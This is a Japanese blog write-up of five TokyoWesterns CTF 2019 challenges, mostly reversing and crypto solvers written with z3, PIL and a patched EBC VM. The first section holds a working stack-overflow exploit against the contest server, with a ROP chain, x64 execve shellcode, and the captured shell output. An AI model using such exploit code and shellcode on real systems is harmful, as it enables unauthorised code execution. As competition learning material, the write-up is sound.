CTFするぞ

CTF以外のことも書くよ

TokyoWesterns CTF 5th 2019 Writeup

TokyoWesterns CTF 5th 2019が日本時間で8/31 09:00から9/02 09:00まで開催されました。 私はチームHarekazeとして参加し、Harekazeは1481点を獲得して33位でした。 そのうち5問を私は解いたので、そのwriteupを書こうと思います。

f:id:ptr-yudai:20190902091049p:plain

問題バイナリやソルバはここ

[Pwn 78pts] nothing more to say

Description: Japan is fucking hot. 
Server: nc nothing.chal.ctf.westerns.tokyo 10001
Files: warmup.c warmup

セキュリティ機構はいろいろ無効になっています。

$ checksec -f warmup-b8fa17414a043a62ba16fdeb4f82051d35fc6f434f7130d6d988d6c2d312e73e
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   68 Symbols     No       0               4       warmup-b8fa17414a043a62ba16fdeb4f82051d35fc6f434f7130d6d988d6c2d312e73e

ソースコードを読むと、getsによるスタックオーバーフローとprintfによるFSBがあることが分かります。 今回はNXが無効なので、シェルコードを読んで実行するROPを作りました。

from ptrlib import *

#sock = Process("./warmup-b8fa17414a043a62ba16fdeb4f82051d35fc6f434f7130d6d988d6c2d312e73e")
sock = Socket("nothing.chal.ctf.westerns.tokyo", 10001)
elf = ELF("./warmup-b8fa17414a043a62ba16fdeb4f82051d35fc6f434f7130d6d988d6c2d312e73e")
rop_pop_rdi = 0x00400773
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

payload = b"A" * 0x108
payload += p64(rop_pop_rdi)
payload += p64(elf.section(".bss") + 0x400)
payload += p64(elf.plt("gets"))
payload += p64(elf.section(".bss") + 0x400)
sock.sendline(payload)

sock.sendline(shellcode)

sock.interactive()

簡単ですね。

$ emacs solve.py &
[1] 7507
ptr@medium-pwn:~/twctf/nothing_more_to_say$ python solve.py 
[+] __init__: Successfully connected to nothing.chal.ctf.westerns.tokyo:10001
[ptrlib]$ Hello CTF Players!
This is a warmup challenge for pwnable.
We provide some hints for beginners spawning a shell to get the flag.

1. This binary has no SSP (Stack Smash Protection). So you can get control of instruction pointer with stack overflow.
2. NX-bit is disabled. You can run your shellcode easily.
3. PIE (Position Independent Executable) is also disabled. Some memory addresses are fixed by default.

If you get stuck, we recommend you to search about ROP and x64-shellcode.
Please pwn me :)
ls
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAs@flag
warmup
[ptrlib]$ cat flag
TWCTF{AAAATsumori---Shitureishimashita.}

今気づいたけどフラグが。

[Reverse 88pts] Easy Crack Me

Description: Cracking is easy for you.
File: easy_crack_me

warmupの割に処理が大きかったので脳死angrしてみたら解けなかったので解析しました。 心を無にしてC言語に直していくとこんな感じのプログラムであることが分かりました。

int main(int argc, char **argv) {
  if (argc != 2) goto NG;
  
  char *flag = argv[1];
  if (strlen(flag) != 0x27) goto NG;

  if (memcmp(flag, "TWCTF{", 6) != 0 || flag[0x26] != '}') goto NG;

  int i, j;
  char table[] = "0123456789abcdef";
  int appearCount[0x10];
  int appearCountCorrect[] = {3, 2, 2, 0, 3, 2, 1, 3, 3, 1, 1, 3, 1, 2, 2, 3};
  for(i = 0; i < 0xf; i++) {
    char *flaggg = flag;
    while(1) {
      char *ptr = strchr(flaggg, table[i]);
      if (ptr) {
        flaggg += 1;
        appearCount[i] += 1;
      } else {
        break;
      }
    }
  }

  if (memcmp(appearCount, appearCountCorrect, 0x40) != 0) goto NG;

  int added = 0, xored = 0;
  int sumTable[8];
  int xorTable[8];
  int sumTableCorrect[] = {0x15e, 0xda, 0x12f, 0x131, 0x100, 0x131, 0xfb, 0x102};
  int xorTableCorrect[] = {0x52, 0x0c, 0x01, 0x0f, 0x5c, 0x05, 0x53, 0x58};
  for(j = 0; j <= 7; j++) {
    char *ofs = &flag[6 + j * 4];
    for(l = 0; l <= 3; l++) {
      added += *ofs;
      xored ^= *ofs;
    }
    sumTable[j] = added;
    xorTable[j] = xored;
  }
  if (memcmp(sumTable, sumTableCorrect, 0x20) != 0) goto NG;
  if (memcmp(xorTable, xorTableCorrect, 0x20) != 0) goto NG;

  int sumTableCorrect2[] = {0x129, 0x103, 0x12b, 0x131, 0x135, 0x10b, 0xff, 0xff};
  int xorTableCorrect2[] = {0x01, 0x57, 0x07, 0x0d, 0x0d, 0x53, 0x51, 0x51};
  added = 0;
  xored = 0;
  for(i = 0; i <= 7; i++) {
    for(j = 0; j <= 3; j++) {
      added += flag[6 + i + j * 8];
      xored ^= flag[6 + i + j * 8];
    }
    sumTable[i] = added;
    xorTable[i] = xored;
  }
  if (memcmp(sumTable, sumTableCorrect2, 0x20) != 0) goto NG;
  if (memcmp(xorTable, xorTableCorrect2, 0x20) != 0) goto NG;

  int nazoTable[0x20];
  int nazoTableCorrect[] = {0x80, 0x80, 0xff, 0x80, 0xff, 0xff, 0xff, 0xff, 0x80, 0xff, 0xff, 0x80, 0x80, 0xff, 0xff, 0x80, 0xff, 0xff, 0x80, 0xff, 0x80, 0x80, 0xff, 0xff, 0xff, 0xff, 0x80, 0xff, 0xff, 0xff, 0x80, 0xff};
  for(i = 0; i < 0x20; i++) {
    char c = flag[6 + i];
    if (c >= 0x30 && c <= 0x39) { // 0-9
      nazoTable[i] = 0xff;
    } else if (c >= 0x60 && c <= 0x66) { // a-f
      nazoTable[i] = 0x80;
    } else {
      nazoTable[i] = 0;
    }
  }
  if (memcmp(nazoTable, nazoTableCorrect, 0x80) != 0) goto NG;

  int sum = 0;
  for(i = 0; i < 0x10; i++) {
    sum += flag[(i + 3) * 2]
  }
  if (sum != 0x488) goto NG;
  
  if (flag[0x25] != '5') goto NG;
  if (flag[0x07] != 'f') goto NG;
  if (flag[0x0B] != '8') goto NG;
  if (flag[0x0C] != '7') goto NG;
  if (flag[0x17] != '2') goto NG;
  if (flag[0x1F] != '4') goto NG;

  puts("Correct");
  return 0;
  
 NG:
  puts("incorrect");
  return 1;
}

やってることは

  1. 文字列長=0x27とTWCTF{...}の形式を確認
  2. hex文字の個数を0〜fまでカウントし、個数が正しいか確認
  3. 4バイトごとに区切り、文字コードの総和と総xorを取って正しいか確認
  4. 8バイトとばしで4つずつ、文字コードの総和と総xorを取って正しいか確認
  5. 括弧内の各文字を0-9とa-fの2種類に分けて、各文字が正しいグループにあるか確認
  6. flag[(i + 3) * 2]をi <- {0, 0xf}の範囲で総和を取り、正しいか確認
  7. 特定の箇所の文字が特定の文字コードかを確認

あとはz3で解かせるのですが、2の条件の付け方が分からなかったので、2の条件はpython側で解いた後に確認し、間違ってたら次の解を見つけるようにしました。(解いた後に教えてもらいました。)

from z3 import *

flag = [BitVec("flag{:02x}".format(i), 8) for i in range(0x27)]
s = Solver()
s.add(flag[0] == ord("T"))
s.add(flag[1] == ord("W"))
s.add(flag[2] == ord("C"))
s.add(flag[3] == ord("T"))
s.add(flag[4] == ord("F"))
s.add(flag[5] == ord("{"))
s.add(flag[0x26] == ord("}"))
s.add(flag[0x25] == ord("5"))
s.add(flag[0x07] == ord("f"))
s.add(flag[0x0B] == ord("8"))
s.add(flag[0x0C] == ord("7"))
s.add(flag[0x17] == ord("2"))
s.add(flag[0x1F] == ord("4"))

for i in range(8):
    su = 0
    xo = 0
    for j in range(4):
        su += flag[6 + i * 4 + j]
        xo ^= flag[6 + i * 4 + j]
    s.add(su == [0x15e, 0xda, 0x12f, 0x131, 0x100, 0x131, 0xfb, 0x102][i])
    s.add(xo == [0x52, 0x0c, 0x01, 0x0f, 0x5c, 0x05, 0x53, 0x58][i])

for i in range(8):
    su = 0
    xo = 0
    for j in range(4):
        su += flag[6 + i + j * 8]
        xo ^= flag[6 + i + j * 8]
    s.add(su == [0x129, 0x103, 0x12b, 0x131, 0x135, 0x10b, 0xff, 0xff][i])
    s.add(xo == [0x01, 0x57, 0x07, 0x0d, 0x0d, 0x53, 0x51, 0x51][i])

nazoTable = [0x80, 0x80, 0xff, 0x80, 0xff, 0xff, 0xff, 0xff, 0x80, 0xff, 0xff, 0x80, 0x80, 0xff, 0xff, 0x80, 0xff, 0xff, 0x80, 0xff, 0x80, 0x80, 0xff, 0xff, 0xff, 0xff, 0x80, 0xff, 0xff, 0xff, 0x80, 0xff]
for i in range(0x20):
    s.add(flag[6 + i] != 0x33)
    if nazoTable[i] == 0x80:
        s.add(0x61 <= flag[6 + i], flag[6 + i] <= 0x66)
    else:
        s.add(0x30 <= flag[6 + i], flag[6 + i] <= 0x39)

su = 0
for i in range(0x10):
    su += flag[(i + 3) * 2]
s.add(su == 0x488)

while True:
    answer = ['?' for i in range(0x27)]
    r = s.check()
    if r == sat:
        m = s.model()
        for d in m.decls():
            answer[int(d.name()[4:], 16)] = chr(m[d].as_long())
        answer = ''.join(answer)
        for i, c in enumerate("0123456789abcdef"):
            if answer.count(c) != [3, 2, 2, 0, 3, 2, 1, 3, 3, 1, 1, 3, 1, 2, 2, 3][i]: break
        else:
            print("Found!")
            print(answer)
            exit(0)
        s.add(Not(And([flag[int(d.name()[4:], 16)] == m[d] for d in m.decls()])))
        print(answer)
    else:
        print(r)

warmupだからもっと簡単に解けるのかな?

$ python solve.py 
TWCTF{df2b4877d71ce91b02f8df6114b484a5}
TWCTF{df2b5876a71fd91c02f8df6144b184a5}
TWCTF{df2b4877a71fe91b02f8df6144b184a5}
TWCTF{df2b4877e71be91b02f8df6104b584a5}
TWCTF{df2b5876e71bd91c02f8df6104b584a5}
TWCTF{df2b4877a71fd91c02f8ef6044b184a5}
Found!
TWCTF{df2b4877e71bd91c02f8ef6004b584a5}

[Crypto 95pts] Simple Logic

Description: Simple cipher is always strong.
Files: encrypt.rb output

入力xに対し、  x \leftarrow (x \oplus k) + k を765ラウンド繰り返します。 これを使ってフラグを暗号化したものと、適当な6つのデータとそれらを暗号化したものが渡されます。 暗号はよく分からないのでとりあえずpythonで確認したところ、次のようにkの下位数ビットが変わると出力も下位数ビットに影響が大きいようです。

>>> hex((0x1234abcd ^ 0x12343210) + 0x12343210)
'0x1234cbed'
>>> hex((0x1234abcd ^ 0x12343200) + 0x12343200)
'0x1234cbcd'
>>> hex((0x1234abcd ^ 0x123432ff) + 0x123432ff)
'0x1234cc31'

これを利用すれば鍵を下のビットから特定できそうです。 今回は鍵を下位から1バイトずつ変え、6つのデータを暗号化したときに正しい暗号文と下位のバイトが一致するものを候補として選んで探索しました。

import re

def encrypt(msg, key):
    enc = msg
    mask = (1 << 128) - 1
    for i in range(765):
        enc = (enc + key) & mask
        enc = enc ^ key
    return enc

def decrypt(msg, key):
    enc = msg
    mask = (1 << 128) - 1
    for i in range(765):
        enc = enc ^ key
        enc = (enc - key) & mask
    return enc

def find_next(target, real_key):
    candidate = None
    #print(hex(real_key))
    if target == 16:
        yield real_key
    for pair in pairs:
        mask = 0xff << (target * 8)
        loc_cand = set()
        for c in range(0x100):
            key = real_key | (c << (target * 8))
            y = encrypt(pair[0], key)
            if y & mask == pair[1] & mask:
                loc_cand.add(c)
        if candidate is None:
            candidate = loc_cand
        else:
            candidate &= loc_cand
    if candidate:
        for piece in candidate:
            for x in find_next(target + 1, real_key | piece << (target * 8)):
                yield x

pairs = []
with open("output", "r") as f:
    for line in f:
        r = re.findall("plain=([0-9a-f]+) enc=([0-9a-f]+)", line)
        if r:
            pairs.append((int(r[0][0], 16), int(r[0][1], 16)))

enc = 0x43713622de24d04b9c05395bb753d437
for x in find_next(0, 0):
    msg = decrypt(enc, x)
    print("TWCTF{" + hex(msg)[2:] + "}")
    break

簡単ですね。

$ python solve.py 
TWCTF{ade4850ad48b8d21fa7dae86b842466d}

[Reverse 174pts] meow

Description: *Neko AA*
Files: meow.n flag_enc.png

謎バイナリが渡されます。

$ file meow.n 
meow.n: NekoVM bytecode (418 global symbols, 323 global fields, 35212 bytecode ops)

とりあえず公式サイトからVMをダウンロードし、実行はできます。 逆アセンブラ的なものが見つからなかったのでブラックボックスで頑張ることにしました。 とりあえずflag_enc.pngと同じサイズの真っ黒な画像と真っ赤な画像を与えたところ、違う色の同じパターンの画像が生成されました。 また、上半分が黒で下半分が赤の画像を与えると、次のようになりました。

f:id:ptr-yudai:20190902091248p:plain

そんなに難しい暗号化はしていないようです。 とりあえず1 pixelごとに元の色とのxorを取ると、xor鍵はx方向に100 pixelごとに繰り返していることが分かりました。 y方向には鍵が循環しますが、鍵自体は変わりません。 また、鍵は画像によらなかったので、これを使えば元の画像が復元できそうです。 復号した結果、次のような画像が出てきました。

f:id:ptr-yudai:20190902091621p:plain

どうやら縦方向にはシャッフルされているようです。 ということで次のコードを使い、座標を色情報として埋め込んだ画像を暗号化して(シャッフルされた状態で)復号しました。

from PIL import Image

img = Image.new("RGB", (768, 768), (255, 255, 255))

for x in range(img.size[0]):
    for y in range(img.size[1]):
        img.putpixel((x, y), (x & 0xff, x >> 8, x & 0xff))

img.save("shuffle_original.png")

import os
os.system("neko meow.n shuffle_original.png shuffle_enc.png")

# find key
img = Image.open("black.png")
key = [[] for y in range(img.size[1])]
for y in range(img.size[1]):
    for x in range(100):
        r, g, b, _ = img.getpixel((x, y))
        key[y].append(r)
img.close()

# decrypt
img = Image.open("shuffle_enc.png")
for y in range(img.size[1]):
    for x in range(img.size[0]):
        r, g, b, _ = img.getpixel((x, y))
        k = key[y][x % len(key[y])]
        r, g, b = r ^ k, g ^ k, b ^ k
        img.putpixel((x, y), (r, g, b))

img.save("shuffle_scrambled.png")

これを使えば各座標と色からシャッフルの逆写像が作れます。

from PIL import Image

# find map
img = Image.open("shuffle_scrambled.png")
mapping = [-1 for i in range(img.size[0])]
for x in range(img.size[0]):
    r, g, b, _ = img.getpixel((x, 0))
    mapping[x] = (g << 8) | r
img.close()

# find key
img = Image.open("black.png")
key = [[] for y in range(img.size[1])]
for y in range(img.size[1]):
    for x in range(100):
        r, g, b, _ = img.getpixel((x, y))
        key[y].append(r)
img.close()

# decrypt
img = Image.open("flag_enc.png")
for y in range(img.size[1]):
    for x in range(img.size[0]):
        r, g, b, _ = img.getpixel((x, y))
        k = key[y][x % len(key[y])]
        r, g, b = r ^ k, g ^ k, b ^ k
        img.putpixel((x, y), (r, g, b))

# unshuffle
img2 = img.copy()
for x in range(img.size[0]):
    for y in range(img.size[0]):
        img2.putpixel(
            (mapping[x], y),
            img.getpixel((x, y))
        )
img2.save("shuffle_scrambled.png")

2nd bloodでした :tada:

f:id:ptr-yudai:20190902092032p:plain

[Reverse 232pts] EBC

File: ebc

また謎バイナリです。

$ file ebc
ebc: PE32+ executable (DLL) (EFI application) EFI byte code, for MS Windows

今度はEFI Byte Codeなるもので、唯一ebcvmなるものを見つけました。 しかし、問題バイナリを実行しても"Key:"と出力されて終わるだけでした。 ここからいろいろVM側を改造していくのですが、どうやらnative callのcodeが0で発行される箇所があり、それが原因で落ちたようです。 正しいcallは分からないのでとりあえずcode=0で無を実行して次の命令に移るようにefi.cのhandle_excallを変えます。

...
    case 0:
      printf("[DEBUG] code=0x%lx\n", code);
      _vm->regs->regs[R7] = EFI_SUCCESS;
      /* XXX: MOVqq R0, R0 (+2, 0) */
      _vm->regs->regs[R0] += ARCH_BYTES * 2;
      _vm->regs->regs[IP] = ret_addr;
      break;
...

また、実行した命令をすべて記録するようにexec.cのexec_opの先頭に次の一行を追加します。

dump_inst(_vm);

この状態で実行したところ、とりあえず入力を与えることができました。 また、実行された命令のダンプを見たところ、0x4006354+i*4に0x4007114+i*4から持ってきたバイト列を特定のxor鍵とXORしてメモリ上にコードを展開していることが分かりました。 実行した命令をすべて記録しているので、展開されたコードも(実行されたので)見ることができ、ADD, SUB, XORなどで謎演算を繰り返しているコードでした。

0x0000000004006354:  60 81 02 10 MOVqw R1, @R0 (+2, +0)
0x0000000004006358: f7 32 f2 28 f6 95 b8 75 5d bb   MOVIqq R2, 0xbb5d75b895f628f2
0x0000000004006362: f7 33 8b 7b 73 c6 6e 28 0a d3   MOVIqq R3, 0xd30a286ec6737b8b
0x000000000400636c: f7 34 55 51 68 5d 0d 53 fa 1b   MOVIqq R4, 0x1bfa530d5d685155
...

展開されたコードをざっと読んだところ、R1にいろんな演算をして、最後にR7と比較して一致しなければダメなことが分かりました。 また、一致した場合は同様に別のコードを同じ場所に展開しています。 VMを改造して強制的に合っている判定にしたところ、さらに別のコードが展開されましたが、xor鍵が違うようで変な命令が展開されます。 とりあえず正しいR1を逆算するスクリプトを書いてEBC_1n7eであることが分かったのですが、それをR1や、元のメモリに入れても正しいコードは展開されませんでした。 ここでしばらく詰まって寝たのですが、もしさっきの謎演算と同じようなことをするコードが展開されるなら、MOVqw R1, @R0 (+2, +0)が最初に実行されることが期待できます。 これを使って4バイトのxor鍵を特定し、VMexec_opに次のようなコードを書いて勝手にxor鍵を変更しました。

...
  if (_vm->regs->regs[IP] == 0x0000000004006354) {
    printf("writing: %lx\n", _vm->regs->regs[R0]);
    write_mem64(_vm->mem, 0x4004fd8, 0x65376e315f434245);
    write_mem32(_vm->mem, 0x400707a, 0x43451b65);
  }
...

すると、正しく次のコードも展開され、また同じようにR1にいろんな演算を適用しているコードでした。 これが全部で4ラウンドあるのですが、それぞれ次のような特徴があります。(各ラウンドでxor鍵を求めてVM側から変えました。)

  1. ADD, SUB, XOR, NOT, NEGを使っているので簡単に正しいR1が特定できる
  2. 一見ORを使っているが、よく見たらRORかROLと等価なことをしているので正しいR1が特定できる
  3. 何度か特定の1ビットをORして1にしているので、ビットを下げるか適当に判断すればなんとか正しいR1が特定できる
  4. 何度か複数のビットをORして1にしているので、探索すればR1の候補が複数出る

4つ目も正しいと判断されるとTWCTF{入力}が出力されます。

3つ目まではなんとかでき、EBC_1n7erpreter_is_m4d3_までは分かりました。 しかし、最後のラウンドでR1の候補が腐るほどあるので「無理では??」みたいになって数時間死んでいました。 最終的には、R1が[a-z0-9_\x00]+に一致するものだけを出力するコードを書き、その大量の出力を見て意味のある単語をguessしたところ、optionalが良さそうと分かりました。 偶然opt10n4lが候補リスト中で目にとまったので、TWCTF{EBC_1n7erpreter_is_m4d3_opt10n4l}で送ってみたら正解でした。(は?)

カスみたいなコードですが、一応掲載しておきます。

3ラウンド目までに使ったR1の逆算コード:

import re
import sys
from ptrlib import *

with open(sys.argv[1], "r") as f:
    instList = []
    for line in f:
        r = re.findall("[0-9a-f]{2}\t(.+) (R\d), (.+)", line)
        if r:
            instList.append(r[0])

regs = [0 for i in range(7)]
regs[0] = int(instList[0][2], 16)
for i, inst in enumerate(instList):
    if inst[1] != 'R1': continue
    # for R1
    ope = inst[0]
    src = int(inst[2][1]) - 1
    # past
    if src != 0:
        for j in range(i, len(instList)):
            if instList[j][0] == 'MOVIqq' and instList[j][1] == 'R'+str(src + 1):
                regs[src] = int(instList[j][2], 16)
                break
            elif instList[j][0] == 'MOVIqd' and instList[j][1] == 'R'+str(src + 1):
                regs[src] = int(instList[j][2], 16)
                break
    # do it
    if ope == 'SUB':
        regs[0] = (regs[0] + regs[src]) % (1 << 64)
    elif ope == 'ADD':
        regs[0] = (regs[0] - regs[src]) % (1 << 64)
    elif ope == 'XOR':
        regs[0] ^= regs[src]
    elif ope == 'NEG':
        regs[0] ^= ((1 << 64) - 1)
        regs[0] = (regs[0] + 1) % (1 << 64)
    elif ope == 'NOT':
        regs[0] ^= ((1 << 64) - 1)
    elif ope == 'OR':
        if instList[i+2][0] == 'MOVIqw':
            size = int(instList[i+2][2], 16)
        elif 'MOVIq' in instList[i+1][0]:
            x = int(instList[i+1][2], 16)
            #print("--------")
            #print(hex(regs[0]))
            print(hex(x))
            #print(bin(x))
            #print(bin(regs[0] & x))
            assert regs[0] & x == x
            # for ayaC_3.txt
            #if x != 4 and x != 0x8000000:
            #    regs[0] ^= x
            # for ayaC_4.txt
            #"""
            if x == 0x40201003000:
                #x = 0x40201000000
                x = 0x40001001000
            elif x == 0x2410804000000:
                x = 0x2410804000000
            elif x ==0x10040908000:
                x = 0x10040908000
            elif x == 0x1000008004050:
                x = 0x1000008004010
            elif x == 0x1000b00000000200:
                x = 0x1000b00000000200
            elif x == 0x800000001042:
                x = 0x800000001042
            #"""
            regs[0] ^= x
            continue
        else:
            print(i, instList[i+0])
            print(i, instList[i+1])
            print(i, instList[i+2])
            print(i, instList[i+3])
            print("wOA!?")
            exit(1)
        if instList[i+1][0] == 'SHL':
            regs[0] = ror(regs[0], size, bits=64)
        elif instList[i+1][0] == 'SHR':
            regs[0] = rol(regs[0], size, bits=64)
        else:
            print("hOI!!")
            exit(1)
    elif ope == 'SHL' or ope == 'SHR' or ope == 'MOVqw' or ope == 'MOVIqw':
        pass
    else:
        print(regs)
        print(ope)
        exit(1)
    #print("R1 = {}".format(hex(regs[0])))

# ECB_1n7e
#for i in range(7):
#    print("R{} = {}".format(i + 1, hex(regs[i])))
print("R1 = {}".format(hex(regs[0])))

4ラウンド目で候補を出すコード:

import re
import sys
from ptrlib import *
import itertools
import copy

with open(sys.argv[1], "r") as f:
    instList = []
    for line in f:
        r = re.findall("[0-9a-f]{2}\t(.+) (R\d), (.+)", line)
        if r:
            instList.append(r[0])

def search(instList, current_i, regs, chain=[]):
    for i in range(current_i, len(instList)):
        inst = instList[i]
        if inst[1] != 'R1': continue
        # for R1
        ope = inst[0]
        src = int(inst[2][1]) - 1
        # past
        if src != 0:
            for j in range(i, len(instList)):
                if instList[j][0] == 'MOVIqq' and instList[j][1] == 'R'+str(src + 1):
                    regs[src] = int(instList[j][2], 16)
                    break
                elif instList[j][0] == 'MOVIqd' and instList[j][1] == 'R'+str(src + 1):
                    regs[src] = int(instList[j][2], 16)
                    break
        # do it
        if ope == 'SUB':
            regs[0] = (regs[0] + regs[src]) % (1 << 64)
        elif ope == 'ADD':
            regs[0] = (regs[0] - regs[src]) % (1 << 64)
        elif ope == 'XOR':
            regs[0] ^= regs[src]
        elif ope == 'NEG':
            regs[0] ^= ((1 << 64) - 1)
            regs[0] = (regs[0] + 1) % (1 << 64)
        elif ope == 'NOT':
            regs[0] ^= ((1 << 64) - 1)
        elif ope == 'OR':
            if instList[i+2][0] == 'MOVIqw':
                size = int(instList[i+2][2], 16)
            elif 'MOVIq' in instList[i+1][0] and instList[i+1][1] == inst[2]:
                x = int(instList[i+1][2], 16)
                if regs[0] & x != x:
                    return
                # for ayaC_4.txt
                posList = []
                for l in range(64):
                    if (x >> l) & 1 == 1:
                        posList.append(l)
                for l in range(1, len(posList) + 1):
                    for xorpos in itertools.combinations(posList, l):
                        xx = x
                        for pos in xorpos:
                            xx ^= 1 << pos
                        _regs = copy.deepcopy(regs)
                        #print(hex(regs[0]), hex(regs[0] ^ xx))
                        _regs[0] ^= xx
                        for res in search(instList, i + 1, copy.deepcopy(_regs), chain + [xx]):
                            if res is not None:
                                yield res
                continue
            else:
                print(i, instList[i+0])
                print(i, instList[i+1])
                print(i, instList[i+2])
                print(i, instList[i+3])
                print("wOA!?")
                exit(1)
            if instList[i+1][0] == 'SHL':
                regs[0] = ror(regs[0], size, bits=64)
            elif instList[i+1][0] == 'SHR':
                regs[0] = rol(regs[0], size, bits=64)
            else:
                print("hOI!!")
                exit(1)
        elif ope == 'SHL' or ope == 'SHR' or ope == 'MOVqw' or ope == 'MOVIqw':
            pass
        else:
            print(regs)
            print(ope)
            exit(1)
        #print(ope, print(hex(regs[0])))
    yield regs[0]

        
regs = [0 for i in range(7)]
regs[0] = int(instList[0][2], 16)
for r1 in search(instList, 0, regs):
    try:
        flag = bytes.fromhex(hex(r1)[2:])
    except:
        continue
    for c in flag:
        if not (0x30 <= c <= 0x39 or 0x61 <= c <= ord("z") or c == ord('_') or c == 0):
            break
    else:
        print("R1 = {} : {}".format(hex(r1), flag[::-1]))

# ECB_1n7e
#for i in range(7):
#    print("R{} = {}".format(i + 1, hex(regs[i])))

xor鍵を書き込んだりR1を正しい状態にするVMexec_opの先頭:

  if (_vm->regs->regs[IP] == 0x0000000004006354) {
    printf("writing: %lx\n", _vm->regs->regs[R0]);
    if (ponta == 0) {
      write_mem64(_vm->mem, 0x4004fd8, 0x65376e315f434245);
      write_mem32(_vm->mem, 0x400707a, 0x43451b65);
    } else if (ponta == 1) {
      write_mem64(_vm->mem, 0x4004fd8, 0x5f72337465727072);
      write_mem32(_vm->mem, 0x400707a, 0x54aaf64b);
    } else if (ponta == 2) {
      write_mem64(_vm->mem, 0x4004fd8, 0x5f3364346d5f7331);
      write_mem32(_vm->mem, 0x400707a, 0x52976abd);
    } else if (ponta == 3) {
      write_mem64(_vm->mem, 0x4004fd8, 0xc13fa3bb);
    }
    ponta++;
  }

クソみたいな解き方をしてしまったので正攻法が気になる。

感想

今回初めてHarekazeと一緒にCTFしました。 強い人が多いので正直warmup以外フラグ通せるか不安でしたが、何とかなって安心です。 特にpwn担当ながらheap全然解けない人なので、強いpwnerがいると安心して任せられますね。(いろいろ考えたけど私は解けなかった。) oneline calc 1はmiscで出してくれればもっと時間割いて試したと思うし、gccの問題なので解けたかもしれないと思うと悔しいです。 Asterisk-AllocとかSecurKarteは(h_nosonさんの)exploit見たらなるほどなーってなったので自力で解けなきゃダメだなーと反省しています。([追記]ちゃんと解きました) いろいろ疲れましたが楽しかったです。 運営のみなさんもお疲れ様でした。